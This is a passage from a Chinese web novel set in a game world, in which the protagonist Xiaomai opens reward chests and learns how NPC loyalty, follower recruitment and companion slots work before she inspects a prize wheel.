这个宝箱给的奖励简直是家居大礼包,家居物品自然是通通发往游戏初始地。 小麦看向新出现的随行位,通过触发小精灵获得讯息。 随行位还是个挺重要的存在。 在食邑定居的npc会成为玩家的领民,玩家可以招募忠诚度>60的npc成为追随者,并指定追随者完成一些特定任务。 一旦npc的忠诚度达到100,玩家就能招募对方进入随行位,随玩家一起进入副本。 当然,初始npc的忠诚度不够也没有关系,可以施展“氪金”大法,银钱和金钱礼物都能强行涨忠诚度,但送宝钱礼物就要小心了。 npc接受宝钱礼物后,既有可能触发特殊事件,让npc领悟特殊能力,也有可能出现对方带着宝物叛逃的局面。 当然,如果玩家没有带npc进话本,也可以通过物契直接在随行位招募协助npc。 这样招募来的npc,不同于人才市场的随机看脸,初始忠诚度就能达到100,当然,这样招募来的npc只会随行于当前话本,成不了玩家的领民。 有随行位npc协助,通关副本总会更容易些。 三个宝箱开完后消失,投放仓仅剩一个亮着光的流星大转盘。小麦趴上去研究了一会儿,发现还有占地横竖十多个格子的大型建筑,就放弃了立即使用转盘。